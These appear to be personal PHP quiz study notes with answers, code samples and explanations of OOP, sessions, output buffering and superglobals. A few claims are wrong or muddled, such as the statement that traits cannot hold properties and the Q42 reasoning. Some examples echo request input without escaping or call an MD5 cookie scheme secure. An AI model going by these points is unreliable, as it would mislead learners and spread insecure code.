4. Handle Exceptions in App\Exceptions\Handler:


In your App\Exceptions\Handler class, you can customize how exceptions are handled. Laravel
provides a report method where you can log exceptions. You can also override the render
method to customize how exceptions are displayed during development. Here's an example:

use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;

class Handler extends ExceptionHandler


{
// ...

public function report(Exception $exception)


{
if ($this->shouldReport($exception)) {
// Log the exception to your preferred log destination
// For example, use the Log facade:
\Log::error($exception);
}
parent::report($exception);
}

// ...
}

Q29. Which is the way to create an array of "seasons"?


> $seasons=['spring','summer','autumn','winter'];

Q30. Both self and this are keywords that can be used to refer to member variables of an
enclosing class. The difference is that $this->member should be used for members and
self::$member should be used for members
> non-static,static

self and $this are both used to refer to class members (properties or methods) within a class,
but they are used in different contexts and have distinct purposes:

Self:
• self is used to refer to the class itself, not to an instance of the class.
• It is often used in the context of static members (properties or methods) or within class
methods that do not rely on instance-specific data.

class MyClass {
public static $staticVar = 'Static Variable';

public static function staticMethod() {


echo self::$staticVar;
}
}

MyClass::staticMethod(); // Output: Static Variable

$this:
$this is used to refer to the instance of the class (object) itself. It is used within non-static
methods to access instance-specific data.
It is commonly used to access properties and methods of the current object.
$this cannot be used in a static context (e.g., inside a static method) because it refers to an
instance, and static methods are not associated with instances.
class MyClass {
public $instanceVar = 'Instance Variable';

public function instanceMethod() {


echo $this->instanceVar;
}
}

$obj = new MyClass();


$obj->instanceMethod(); // Output: Instance Variable
In summary:

self is used for static members and is resolved at the class level.
$this is used for instance members and is resolved at the object (instance) level.

Q31. What will this code print?


$mathe=array('archi','euler','pythagoras');
array_push($mathe,'hypatia');
array_push($mathe,'fibonacci');
array_pop($mathe);
echo array_pop($mathe);
echo sizeof($mathe);

> hypatia3

Note: echo will never be used to print arrays.

Q32. You are using the following code to find a users band, but it is returning false. Which step(s)
would solve the problem?
isset ($_GET['fav_band'])
a. check if fav_band is included in the query string at the top of your browser
b. view the source of form and make sure there is an input field with the name 'fav_band'
c. print everything that has been transmitted in the request: print_r($_REQUEST);

Ans: all

Q33. Which code would you use to print all the elements in an array called $cupcakes?
a. print_r($cupcakes);
b. var_dump($cupcakes);
c. foreach($cupcakes as &$cupcake) echo $cupcake;

Ans: all

Actual answer depends on how you want the output to be formatted.

Using print_r():print_r() is typically used for displaying human-readable information about a


variable, including arrays.
print_r($cupcakes);

This will output something like:


Array

[0] => Red Velvet

[1] => Chocolate


[2] => Vanilla

Using foreach loop: If you want more control over the output, such as formatting each element
differently or not displaying array structure information, you can use a foreach() loop.

Using var_dump():var_dump() provides detailed information about a variable, including its type and
value. It's not typically used for directly printing array elements in a readable format unless you need
detailed debugging information.
var_dump($cupcakes);

This would output something like:


array(3) {

[0]=>

string(10) "Red Velvet"

[1]=>

string(9) "Chocolate"

[2]=>

string(7) "Vanilla"

Q34. What is the cause of 'Cannot modify header information - headers already sent'?
a. Some html is being sent before a header() command that you are using for a redirect

Ans: The "Cannot modify header information - headers already sent" error in PHP occurs when
there is output (such as HTML content or whitespace) sent to the browser before the header()
function is called to modify the HTTP headers, usually for a redirect.
<?php
// Some unwanted output, like whitespace or HTML, before the header()
echo "This is some content before the header.";

// Attempt to set a header for redirect


header("Location: https://www.example.com");
exit; // It's important to exit after setting the header to prevent
further output
?>

To fix it, ensure that there is no output sent to the browser before calling the header() function
If you need to output content, do so after the header is set or use output buffering functions like
ob_start() and ob_end_flush() to capture and send output at a controlled point in your
script.

Output Buffering
Output buffering in PHP is a mechanism that allows you to capture the output of your script
before it is sent to the browser.This can be useful in scenarios where you want to modify
headers, handle errors, or perform other actions before any content is actually sent. The
ob_start() and ob_end_flush() functions are commonly used for output buffering.
Here's an example demonstrating the use of output buffering to avoid the "Cannot modify
header information - headers already sent" error:
<?php
// Start output buffering
ob_start();

// Some unwanted output, like whitespace or HTML, before the header()


echo "This is some content before the header.";

// Attempt to set a header for redirect


header("Location: https://www.example.com");

// End output buffering and send the captured output to the browser
ob_end_flush();
exit; // It's important to exit after setting the header
?>

ob_start() initiates output buffering, capturing anything that would be sent to the browser.
The unwanted content is echoed to the output buffer.
The header() function is called without any issues, as it hasn't been sent to the browser yet.
ob_end_flush() is used to end output buffering and send the captured content to the browser.

Note: code here don’t doing anything as if there are no echo before header. Because it directly
goes to header. So why output buffering?

When you use output buffering with ob_start() and ob_end_flush(), the output is not immediately
sent to the browser. Instead, it's captured in an output buffer, and you have the opportunity to
manipulate or discard it before it's finally sent.
The reason for using output buffering in this case is to avoid sending content to the browser until
you have a chance to set headers.It's particularly useful in scenarios where you want to
conditionally decide whether to redirect or output content based on some logic. Once you call
ob_end_flush(), the buffered content is sent to the browser.
Remember that if you don't use output buffering and there is any output sent before the
header() function, PHP will throw the "Cannot modify header information" error because
headers are supposed to be sent before any content. Output buffering provides a way to control
when content is sent to the browser, allowing you to manipulate it before finalizing the response.
Practical scenarios: output buffering is handy in scenarios where you need to manipulate the
content dynamically before sending it to the browser, especially when dealing with conditional
redirects or other header modifications. It allows you to control when the content is sent and
provides flexibility in constructing the HTTP response.

Without output buffering (the default), your HTML is sent to the browser in pieces as PHP
processes through your script. With output buffering, your HTML is stored in a variable and sent
to the browser as one piece at the end of your script.
Advantages of output buffering for Web developers:
• Turning on output buffering alone decreases the amount of time it takes to download and
render our HTML because it's not being sent to the browser in pieces as PHP processes
the HTML.
• If you've ever encountered the message "Warning: Cannot modify header information -
headers already sent by (output)" while setting cookies, you'll be happy to know that
output buffering is your answer.
output_buffering is turned off by default.

If output buffering is turned off, then echo will send data immediately to the Browser. If output
buffering is turned on, then an echo will send data to the output buffer before sending it to the
Browser.

Note: in my case, I am not getting any error saying: “Cannot modify header information -
headers already sent” The absence of an error in the provided code suggests that your PHP
configuration or server settings may allow output buffering by default or suppress the "headers
already sent" warning. While this behavior might vary between different PHP configurations and
server environments, it's generally a good practice to handle potential header issues.

In a previous example, where output buffering is used but we didn’t see any echo printed out
“The reason you don't see the echo output is that the browser immediately redirects to
https://www.example.com as instructed by the header() function call. The content of the echo
statement is sent to the output buffer, but it's never actually flushed to the browser because the
script redirects before it's sent. Thus, the browser never receives the echoed content.”

Q35. Which php control structure is used inside a loop to skip the rest of the current loops
code and go back to the start of the loop for the next iteration
> continue

Q36. You want to list the modules available in your PHP installation. What command
should you run?
> php -m

This command will list all the modules (extensions) available in your PHP installation. Here's an
example of the output you might see:
• bcmath
• curl
• mbstring
• mysqli
• openssl
• PDO
• session
• xml
• zip
• calendar
• date
• fileinfo
• phar

Q39. What is the value of $result in this calculation?


$result = 25 % 6;

>1

Q40. What is the job of the controller as a component in MVC?

a) The controller handles data passed to it by the view, and also passes data to the view. It
interprets data sent by the view and disperses that data to the approrpiate models
awaiting results to pass back to the view.
b) The controller is a mechanism that allows you to create reusable code in languages
such as PHP, where multiple inheritance is not supported.
c) The controller presents content through the user interface, after communicating directly
with the database.
d) The controller handles specific tasks related to a specific area of functionality, handles
business logic related to the results, and communicates directly with the database.

> Ans: a
a-> i. The controller receives user input and data from the view layer. ii. After processing the
data received from the view or performing any necessary business logic, the controller passes
relevant data to the view layer. iii. The controller interprets the data received from the view and
determines the appropriate actions to take based on that data. iv. The controller is responsible
for coordinating the interaction between the view and the model layers.

b-> They are not specifically related to inheritance or code reusability.


c-> Communicating directly with the database is generally part of the model's responsibility, not
the controller's. Also The controller's responsibility is to handle requests from the user interface,
process them, and decide which actions to take based on the input.
d-> Direct communication with the database is typically performed by the model layer, not the
controller.

Q41. Why does this code trigger an error?


$string = 'Shylock in a Shakespeare's "Merchant of Venice" demands his
pound of flesh.';

a. The apostrophe needs to be escaped by a backslash to prevent it from being treated as the
closing quote.
Q42. A PDO object called $db has been set up to use for database operations, including user
authentication. All user-related properties are set. The script line public function
__construct(&$db) shows a constructor that initializes all user-related properties to _ if no user
has logged in. These parameters will be properly set by the login functions when a user logs in
> null

Exp:
class User {
private $username;
private $isLoggedIn;

public function __construct(&$db) {


// Initialize user-related properties to default values
$this->username = "_";
$this->isLoggedIn = false;
}

public function login($username, $password) {


// Code to authenticate user and set isLoggedIn to true if successful
if ($username === "valid_username" && $password === "valid_password") {
$this->username = $username;
$this->isLoggedIn = true;
return true;
} else {
return false;
}
}

public function getUsername() {


return $this->username;
}

public function isLoggedIn() {


return $this->isLoggedIn;
}
}

// Example usage:
$db = new PDO("mysql:host=localhost;dbname=mydatabase", "username", "password");
$user = new User($db);

// Check if a user has logged in


if ($user->isLoggedIn()) {
echo "User logged in as: " . $user->getUsername();
} else {
echo "User not logged in";
}

In this code example, the User class has a constructor __construct(&$db) which initializes the
username property to "_" and isLoggedIn property to false. However, the constructor does not
receive any information about the logged-in user. It simply sets default values for the properties.

The login method is responsible for authenticating the user and updating the username and
isLoggedIn properties accordingly. If the login is successful, it updates the username with the
provided username and sets isLoggedIn to true.
Since the constructor does not receive any user-specific information and does not interact with
the login process, it cannot be assumed that the parameters will be properly set by the login
functions when a user logs in. Therefore, the correct answer is "null" as there is no definitive
guarantee provided in the given scenario.

the constructor __construct(&$db) initializes user-related properties to default values regardless


of whether a user has logged in or not. The constructor does not interact with the login process
directly and does not receive any user-specific information during initialization.

Given this context, the statement suggests that the constructor will properly set the user-related
properties by the login functions when a user logs in. However, since the constructor does not
interact with the login process and does not receive any user-specific information, there is no
definitive guarantee that the parameters will be properly set by the login functions.

Problem: Since there is no requirement in the constructor about passing user properties to it,
there is no guarantee that parameter’s will be set properly by the login function if not provided
after creating the object. And we can see that no data passed to it in the login function, So echo
printout an underscore ‘_’.

Q43. Assuming that $first_name and $family_name are valid strings, which statement is invalid?
a. echo $first_name. ' '. $family_name;
b. print $first_name, ' ', $family_name;
c. print $first_name. ' '. $family_name;
d. echo $first_name, ' ', $family_name;

>b

In PHP, the echo and print statements are used to output strings. However, they have different syntax
and usage rules.

a. This is valid. echo can output multiple strings concatenated using the dot operator (.).

b. This is invalid. print is a function and can only take one argument. Using a comma to separate
arguments is incorrect.

c. This is valid. print can output a single concatenated string using the dot operator (.).

d. This is valid. echo can take multiple arguments separated by commas.

Q44. Which code snippet demonstrates encapsulation?


a.
class Cow extends Animal {
private $milk;
}
b.
class Cow {
public $milk;
}
$daisy = new Cow();
$daisy->milk = "creamy";
c.
class Cow {
private $milk;
public function getMilk() {
return $this->milk;
}
}
Ans: c
Encapsulation refers to the bundling of data (attributes) and methods (functions) that operate on
the data into a single unit or class. Encapsulation hides the internal state of an object from the
outside world and only exposes the necessary functionality through well-defined interfaces.

In the given class (c), the $milk property is declared as private, which means it cannot be
accessed directly from outside the class. This ensures that the internal state of the Cow object
(its milk) is encapsulated and cannot be modified directly by external code. The class also
provides a public method getMilk() to retrieve the value of the $milk property. This method acts
as an interface for accessing the milk property, allowing controlled and restricted access to the
internal state of the object. This way, the class maintains encapsulation by hiding the
implementation details (the $milk property) and providing a well-defined interface for interacting
with it.

Question: So does that mean the following is not encapsulation?


class Cow {
public $milk;
public function getMilk() {
return $this->milk;
}
}

As you said Encapsulation hides the internal state of an object from the outside world and only
exposes the necessary functionality through well-defined interfaces. But here are all public? So
you want to say that this is not encapsulation?

> The class you provided still demonstrates encapsulation. While all properties and methods are
public, encapsulation is still present because: The $milk property could have been declared as
private. However, by providing a getter method (getMilk()), the class controls access to the milk
property. This allows the class to enforce any necessary validation or logic before returning the
value of $milk, thus providing a level of encapsulation by hiding the internal state of the Cow
object.

So, let’s say the, if the public function getMilk() was not presented, and public $milk only
presents, is the encapsulation still presented?
> If the getMilk() method were not present, and the $milk property were declared as public
without any accessor method, the degree of encapsulation would be reduced. In the absence of
accessor methods, the level of encapsulation is diminished because there is no mechanism in
place to enforce or validate access to the internal state of the object.

Q45. The following XML document is in books.xml. Which code will output "Historical"?
<books>
<book>
<title>A Tale of Two Cities</title>
<author>Charles Dickens</author>
<categories>
<category>Classics</category>
<category>Historical</category>
</categories>
</book>
<book>
<title>Then There Were None</title>
<author>Agatha Christies</author>
<categories>
<category>Mystery</category>
</categories>
</book>
</books>

> Ans:
$books = simplexml_load_file('books.xml');
echo $books->book[0]->categories->category[1];

WTH is xml? How that works? Where is the usage? Still it have usage? I don’t see anywhere
> Yes, XML (eXtensible Markup Language) is still used in various applications and industries,
although its usage may not be as prominent or visible as it once was.
XML is a markup language that defines a set of rules for encoding documents in a format that is
both human-readable and machine-readable. It is often used for storing and transporting data,
particularly in scenarios where structured data needs to be exchanged between systems or
applications.

Here are some common use cases for XML:


• Data interchange: XML is frequently used for exchanging structured data between
different systems or platforms. For example, web services often use XML to format data
exchanged between a client and a server.
• Configuration files: XML is commonly used for defining configuration settings for
software applications. Configuration files written in XML can specify parameters, options,
and settings in a structured format.

Additionally, XML has laid the groundwork for other data interchange formats like JSON and
YAML, which have gained popularity in recent years.

Tags are not limited and not predefined. It can be extended. XML used for data exchange and
communication between two applications.
• Used to store and transport data.
• It is a software and hardware independent way of storing, transporting and sharing data.
• Both human and machine readable like JSON
XML Validation: Check a xml against a schema
• DTD: Document Type Definition
• XSD: XML Schema Definition

XML can be convert to XSD or DTD

Additional link: SGML HTML XML what’s the difference-Computerfile:


https://www.youtube.com/watch?v=RH0o-QjnwDg

Q46. When it comes to the value of a variable, what is the difference between NULL and empty?

> NULL is the lack of a value; empty is a blank value.

Q47. What would be a good name for this function?


function doStuff($haystack, $needle) {
$length = strlen($needle)
if (substr($haystack, 0, $length) == $needle)
return true;
else
return false;
}

• startsWith

Practice similar smaller problem solving, check if a string starts with another string given.

Q48. If you want to pass a form field to another page when a button is clicked, you should use the . If
you want to store information across multiple pages, you should use the ?

> request; session

Q49. You are using the following code to decide if a button is clicked, but it is never
returning true. Which step is most likely to shed light on the problem?
isset($_POST['submit'])

a. Make sure the input field displaying the button is named 'submit'
b. Make sure you are not missing any semicolons
c. Print everything in the session print_r($_SESSION);
d. Look in the query string at the top of your browser to see if submit is assigned a value

>a
b. Missing semicolons: Missing semicolons in PHP code would likely result in a syntax error, but
it wouldn't prevent the button click detection mechanism from working.
c. Printing session data: Printing the session data may help debug issues related to session
variables, but it wouldn't directly address the problem of the button click not being detected.
d. Query string: Checking the query string in the browser's address bar might provide insight
into whether the form submission is sending the expected data via GET parameters. However, if
the button click event is not being detected, it's more likely an issue with the form's HTML or the
handling of the form submission on the server side. The query string would be relevant if the
form is expected to submit via GET method and parameters need to be passed in the URL.

Q50. Why should you follow a PSR standard?


> because coding standards often vary between developers and companies

PSR stands for "PHP Standards Recommendation." It is a set of standards and


recommendations for PHP programming, created by the PHP Framework Interop Group (PHP-
FIG). These standards aim to improve interoperability among PHP frameworks, libraries, and
applications by promoting best practices and common coding styles.
PSR standards cover various aspects of PHP development, including coding style, autoloading,
logging, HTTP messages, caching interfaces, and more. Adhering to PSR standards can make
PHP code more readable, maintainable, and compatible with other codebases.
Some of the most commonly referenced PSR standards include:

PSR-1: Basic Coding Standard - Defines basic coding standards, such as file naming, class
naming, and file organization.

PSR-2: Coding Style Guide - Provides coding style recommendations, including indentation, line
length, and other formatting rules.

PSR-4: Autoloading Standard - Defines a standard for autoloading classes from file paths,
facilitating the automatic loading of PHP classes without manual require or include statements.

PSR-7: HTTP Message Interface - Defines interfaces for representing HTTP messages
(requests and responses) and related concepts, promoting interoperability between PHP web
applications and frameworks.

PSR-1:
• Class names MUST be declared in StudlyCaps.
• Method names MUST be declared in camelCase.
• Class constants MUST be declared in all uppercase with underscore separators.
• The file name must match the class name (case-sensitive) with a .php extension.
• Code must use 4 spaces for indentation (no tabs).
• Classes must be autoloadable without the need for explicit require or include statements.
• Code must follow a consistent coding style to improve readability and maintainability.

Note: StudlyCaps, also known as PascalCase, implies that the first letter of each subword is
capitalized. camelCase implies, like a camel, that the humps are in the middle, therefore the first
letter is not capitalized.

Link: psr-fig official doc: https://www.php-fig.org/psr/


Q51. What are getters and setters?
> Getters and setters are methods used to declare or obtain the values of variables, usually
private ones

Setters and getters are used in object-oriented programming to provide controlled access to the
properties (attributes) of an object. They allow you to set and retrieve the values of object
properties while encapsulating the internal implementation details of the class.

class User {
private $username;

// Setter method
public function setUsername($username) {
$this->username = $username;
}

// Getter method
public function getUsername() {
return $this->username;
}
}

$user = new User();


$user->setUsername("john_doe");
echo $user->getUsername(); // Output: john_doe

In this example:

The User class has a private property $username, which can only be accessed from within the
class itself.
The setUsername() method is a setter, which allows you to set the value of the $username
property.
The getUsername() method is a getter, which allows you to retrieve the value of the $username
property.

Using setters and getters provides several benefits:


• Encapsulation: By making properties private and providing setter and getter methods,
you encapsulate the internal state of the object. This means that the implementation
details of how the property is stored or manipulated are hidden from the outside world.
• Controlled Access: Setters and getters allow you to control how properties are accessed
and modified.
• Flexibility: Using setters and getters provides flexibility to change the internal
implementation of a class without affecting the external code that uses the class. You
can modify the behavior of getters and setters without changing the interface that
clients of the class interact with.

Q52. What are the recommended settings in the PHP configuration file, php.ini, for a testing
environment?
>
error_reporting = E_ALL
display_errors = On

• error_reporting = E_ALL: This setting determines which types of errors PHP should
report. E_ALL is a constant representing all error types. When set to E_ALL, PHP will
report all errors, warnings, and notices. This is recommended during development to
ensure that all potential issues are detected and addressed before deploying the
application to production.

• display_errors = On: This setting controls whether PHP should display error messages
directly in the output sent to the browser.

In a production environment, it's generally recommended to configure PHP to be more


conservative with error reporting and to disable displaying errors to end users for security and
usability reasons.
• error_reporting: Set this to report only critical errors and exclude notices and warnings.
This helps ensure that only severe issues are logged.
error_reporting = E_ERROR | E_PARSE
• display_errors: Disable displaying errors directly in the browser to prevent leaking
sensitive information and confusing end users.
display_errors = Off
• log_errors: Enable logging errors to a file so that they can be reviewed and addressed by
administrators.
log_errors = On
• error_log: Specify the location where error logs should be written.
error_log = /path/to/error.log

Q53. Which PHP variable name is invalid?


A. $Double
B. $double
C. $_2times
D. $2times

>d

Q54. Which command will extract the domain suffix ("com") from the string $string =
"https://cat-bounce.com";?
> substr($string, -3)

Code:
$address = "https://google.com";
$suffix = substr($address, -3);
echo $suffix;

output: com
Q55. Where is PHP code executed?
> on a web server

Q56. Which is not a valid magic constant?


a. __RESOURCE__
b. __FUNCTION__
c. __CLASS__
d. __TRAIT__

>a

Ex: here are the valid magic constants in PHP along with a short description of each:

1. __LINE__: Represents the current line number of the file.


2. __FILE__: Represents the full path and filename of the file.
3. __DIR__: Represents the directory of the file. Equivalent to dirname(__FILE__)
4. __FUNCTION__: Represents the name of the current function.
5. __CLASS__: Represents the name of the current class.
6. __TRAIT__: Represents the name of the current trait.
7. __METHOD__: Represents the name of the current class method.
8. __NAMESPACE__: Represents the name of the current namespace.

1-4 can be used without oop, 5-8 are for oop special.
These magic constants provide useful information about the context in which they are used,
such as the current file, line number, function, class, trait, method, or namespace. They are
automatically replaced by their respective values by the PHP parser at runtime.

Trait: In PHP, a trait is a mechanism for code reuse that allows developers to create reusable
sets of methods that can be used in multiple classes. Traits provide a way to horizontally
compose behavior into classes, enabling code reuse without inheritance.
• No Properties: Traits cannot contain properties. They only define methods. However,
classes that use traits can have their own properties in addition to the methods provided
by the traits.

Namespace:
In PHP, a namespace is a way to organize code by grouping related classes, interfaces,
functions, and constants under a common name. Namespaces help prevent naming conflicts
between different components of a PHP application, especially when third-party libraries or
frameworks are used.
Here are some key points about namespaces in PHP:
• Avoiding Naming Conflicts: Namespaces provide a way to avoid naming conflicts by
allowing developers to define classes, functions, and other symbols within a specific
namespace. This helps prevent clashes between components with the same name,
especially in large projects or when integrating multiple libraries.
• Encapsulation: Namespaces encapsulate related code within a logical namespace,
making it easier to organize and maintain codebases. Developers can group classes and
other symbols together under meaningful namespace names that reflect their purpose or
functionality.
• Usage: Namespaces are declared using the namespace keyword at the beginning of a
PHP file. All code declared in the file after the namespace declaration belongs to that
namespace until another namespace declaration is encountered or the end of the file is
reached.
• Importing and Aliasing: To use symbols from a namespace in another part of the code,
you can import the namespace using the use keyword or reference symbols directly
using their fully qualified namespace names.

/ Using the class from outside the namespace


$obj2 = new \MyNamespace\MyClass();

Q57. What below script will print?


if( 1 == true){
echo "1";
}

if( 1 === true){


echo "2";
}

if("php" == true){
echo "3";
}

if("php" === false){


echo "4";
}

> 13

> Will not print because type of 1 is not same as true, because 1 is an integer and true is a
boolean value
> print 3, For non-empty strings, PHP considers them as true when coerced to a boolean.
Therefore, the expression "php" == true evaluates to true.

Note: if(“php” === true) that will not print 3. Because php is a string and true is a boolean value

Q58. When should this php script be used?


$secret_word = 'if i ate spinach';
setcookie('login', $_REQUEST['username']. ','.
md5($_REQUEST['username'].$secret_word));

> at every login, for security


Exp: This code appears to be setting a cookie named 'login' with the value being the
concatenation of the username provided via a form ($_REQUEST['username']) and the MD5 hash
of the concatenation of the username and a secret word.

The purpose of this code seems to be to create a cookie that includes both the username and a
hash derived from the username and a secret word. This could be used as a form of
authentication or session management. By including the username and a hash of it with a
secret, it adds a layer of security to the authentication process, making it more difficult for
attackers to tamper with the cookie or impersonate users. However, it's worth noting that this
code alone does not provide complete security and should be part of a larger authentication and
security strategy.

So, we understand how the cookie is set, but what will be the verification process?
> Verification Process:
• When the user attempts to access a protected area of the website, the server retrieves
the cookie named 'login'.
• The server then splits the value of the cookie into two parts: the username and the MD5
hash.
• It recalculates the MD5 hash using the retrieved username and the secret word stored
on the server.
• If the recalculated hash matches the hash stored in the cookie, it indicates that the
username in the cookie has not been tampered with and is associated with the expected
secret word.
• Consequently, the server can trust the username stored in the cookie and proceed with
granting access to the protected area or performing other authenticated actions.

If an attacker attempts to tamper with the cookie by modifying the username or hash, the
verification process on the server side will likely fail because the recalculated hash won't match
the modified hash stored in the cookie. Additionally, because the secret word is known only to
the server, an attacker cannot generate valid hashes for arbitrary usernames without knowing
the secret, thus providing a layer of security.

However, it's essential to note that while this approach adds a level of security, it's not
foolproof. Attackers could still attempt to intercept or steal the cookie, perform replay attacks,
or exploit other vulnerabilities. Therefore, this code should be part of a comprehensive security
strategy that includes measures such as HTTPS encryption, secure session management,
protection against CSRF attacks, and proper handling of user authentication and authorization.

Q59. A PHP "variable variable" takes the value of a variable and treats that as the name of a variable.
For example, if $var is a variable then $$var is a variable variable whose name is the value of $var.
Which script produces the output below, using variable variables?

>
$name = "Cat";
$$name = "Dog";
echo $name . "<br/>";
echo $$name . "<br/>";
echo $Cat;
Output:
Cat
Dog
Dog

Exp: This code snippet demonstrates the use of variable variables in PHP.
> $$name = "Dog";: This line uses a variable variable, indicated by the double dollar sign $$. In
PHP, variable variables allow you to dynamically create variable names based on the value of
another variable. So, in this case, the variable name will be determined by the value of $name,
which is "Cat". Therefore, this line is equivalent to $Cat = "Dog";.

Q60. Imagine a web application, built following a MVC architecture, that contains a quiz
and a button to score it, When the user presses the Score button, which component
should handle the request?

a. Router
b. Controller
c. Model
d. View

> Controller

In the scenario described, when the user presses the "Score" button, this action typically
triggers an interaction related to business logic, such as calculating the score based on the
user's responses to the quiz questions. This logic falls under the purview of the controller.
Therefore, the controller is the component that should handle the request when the user
presses the "Score" button, not the router.
While the router plays a crucial role in directing requests to the appropriate controller, it does not
handle the request processing itself; instead, it delegates that responsibility to the controller.

Q61. Which script might be used to continue a user's search for music, across different webpages?

a.
<?php
start_session();
$music = $_SESSION['music'];
?>
b.
<?php
session_start();
$music = $_SESSION['music'];
?>

>b
Here’s session_start() is correct.

Q62. Which PHP script finds the earliest and latest dates from an array?

a.
<?php
$dates = array('2018-02-01', '2017-02-02', '2015-02-03');
echo "Latest Date: ". max($dates)."\n";
echo "Earliest Date: ". min($dates)."\n";
?>

b.
<?php
$dates = array('2018-02-01', '2017-02-02', '2015-02-03');
echo "Latest Date: " max($dates)."\n";
echo "Earliest Date: " min($dates)."\n";
?>

> a.
Here’s b have small mistake. It missing dot (.) before max and min

Q63. What is the resulting output of this for statement?


$kilometers = 1;
for (;;) {
if ($kilometers > 5) break;
echo "$kilometers kilometers = ".$kilometers*0.62140. " miles.
<br />";
$kilometers++;
}

a.
1 kilometers = 0.6214 miles.
2 kilometers = 1.2428 miles.
3 kilometers = 1.8642 miles.
4 kilometers = 2.4856 miles.
5 kilometers = 3.107 miles.

Q64. In PHP 7, What is the correct way to import multiple classes from namespace in a
single declaration ?
> use myApp\myNamespace{ClassA, ClassB, ClassC};

In PHP 7, you can import multiple classes from a namespace in a single declaration using the
curly braces syntax, just as you mentioned.
Suppose you have a namespace called myApp\myNamespace and three classes defined within
that namespace: ClassA, ClassB, and ClassC.
// Define the namespace and classes
namespace myApp\myNamespace;

class ClassA {
// ClassA implementation
}

class ClassB {
// ClassB implementation
}
class ClassC {
// ClassC implementation
}

Now, if you want to import these classes into another PHP file, you can use the use statement
with curly braces to import them in a single declaration:
// Import multiple classes from the namespace
use myApp\myNamespace\{ClassA, ClassB, ClassC};

// Now you can use these classes in this file


$objA = new ClassA();
$objB = new ClassB();
$objC = new ClassC();

Q65. Which is the most complete list of data types that PHP supports?

> string, integer, float, boolean, array, object, NULL, resource

• Null: Null is a special data type which can have only one value: NULL.

• Resource: A resource is a special variable, holding a reference to an external resource.


Resources are created and used by special functions.

As resource variables hold special handles to opened files, database connections, image
canvas areas
PHP uses relevent functions to create these resources. For example, fopen() function opens a
disk file and its reference is stored in a resource variable. A resource with zero reference count
is destroyed automatically by garbage collector. Hence, memory used by resource data type
need not be freed manually.

Resource Type Name Created By Destroyed By Definition

curl curl_init() curl_close() Curl session

ftp ftp_connect() ftp_close() FTP stream

mysql link mysql_connect() mysql_close() Link to MySQL database

pdf document pdf_new() pdf_close() PDF document

stream opendir() closedir() Dir handle

stream fopen(), tmpfile() fclose() File handle

Example:
$fp=fopen("example.txt","w");
var_dump($fp);
echo get_resource_type($fp) . "";

>Output:
resource(5) of type (stream)
stream

Here: example.txt have 11 character string have to place in such places where the code can
find it. Otherwise it will give error if not found.

In PHP, a resource is a special type used to represent external resources, such as database
connections, file handles, or streams. Resources are not actual PHP variables, but rather
references to external entities managed by PHP's underlying system.

When you work with external entities like files or database connections, PHP needs a way to
manage these resources efficiently. Rather than exposing the inner workings of these resources
directly to PHP code, PHP abstracts them into resource types.

1. File Handles: When you open a file using functions like fopen(), PHP returns a file
handle as a resource. This resource allows you to perform operations like reading from
or writing to the file.
2. Database Connections: When you establish a connection to a database using functions
like mysqli_connect() or PDO::__construct(), PHP returns a database connection
resource. This resource enables you to execute queries and interact with the database.
3. Streams: Resources are used to handle input and output streams, such as those created
with functions like fopen(), fsockopen(), or stream_socket_client().

Q66. What type of computer language is PHP?

> server-side scripting language

Q67. Which superglobal variable holds information about headers, paths, and script locations?

> $_SERVER

Several predefined variables in PHP are "superglobals", which means that they are always
accessible, regardless of scope - and you can access them from any function, class or file
without having to do anything special.

The PHP superglobal variables are:

$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION
• PHP $GLOBALS: $GLOBALS is a PHP super global variable which is used to access
global variables from anywhere in the PHP script (also from within functions or
methods).

PHP stores all global variables in an array called $GLOBALS[index]. The index holds the
name of the variable.
Example:
$x = 25;
$y = 75;
function addition(){
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
addition();
echo $z;

> output: 100

• PHP $_SERVER: $_SERVER is a PHP super global variable which holds


information about headers, paths, and script locations. Some of the common
keys in $_SERVER include $_SERVER['HTTP_USER_AGENT'] for the user's browser
information, $_SERVER['REQUEST_URI'] for the URI of the current request, and
$_SERVER['SCRIPT_FILENAME'] for the absolute path of the currently executing
script.

Example:
<?php
echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];
?>

$_SERVER[‘PHP_SELF’]: outputs the filename of the currently executing script relative to the
document root. For example, if the current script is located at
http://example.com/mydir/myscript.php, $_SERVER['PHP_SELF'] would output
/mydir/myscript.php.
For: url: http://localhost/Practice/php/test.php
output: /Practice/php/test.php
$_SERVER[‘SERVER_NAME’] outputs the name of the server host executing the script. For
example, if the script is executed on http://example.com, $_SERVER['SERVER_NAME'] would
output example.com.
For: url: http://localhost/Practice/php/test.php
output: localhost

$_SERVER[‘HTTP_HOST’] outputs the host header sent by the client in the current request.
It's generally the same as $_SERVER['SERVER_NAME'], but it can be manipulated by the
client

$_SERVER[‘HTTP_REFERER’] outputs the referring page URL, if the client's browser provided
this information. It tells you which page the user came from to access the current page.
However, be cautious when using it as it can be easily spoofed or not provided by the client's
browser.

$_SERVER['HTTP_USER_AGENT'] outputs the user agent string of the client's browser. It


provides information about the browser and operating system of the user accessing the page.

$_SERVER['SCRIPT_NAME'] outputs the path of the currently executing script relative to the
server's document root. Unlike $_SERVER['PHP_SELF'], $_SERVER['SCRIPT_NAME']
always starts with a slash (/), and it doesn't include any URL parameters.

• PHP $_POST: is widely used to collect form data after submitting an HTML form with
method="post". $_POST is also widely used to pass variables.

Example:
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
Name: <input type="text" name="fname">
<input type="submit">
</form>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// collect value of input field
$name = $_POST['fname'];
if (empty($name)) {
echo "Name is empty";
} else {
echo $name;
}
}
?>
• PHP $_GET can also be used to collect form data after submitting an HTML form with
method="get". $_GET can also collect data sent in the URL.

Example;
Assume we have an HTML page that contains a hyperlink with parameters:
<a href="test.php?subject=PHP&web=W3schools.com">Test</a>
The example below shows the code in "test.php":
<?php
echo "Study " . $_GET['subject'] . " at " . $_GET['web'];
?>

• $_FILES: This superglobal variable is used to collect data that is submitted via an
HTML form with the enctype="multipart/form-data" attribute. It contains
information about uploaded files, such as file names, file types, temporary file names,
and error codes. When a file is uploaded, PHP populates $_FILES with an array
structure where each uploaded file is represented as an associative array containing
information about that file.

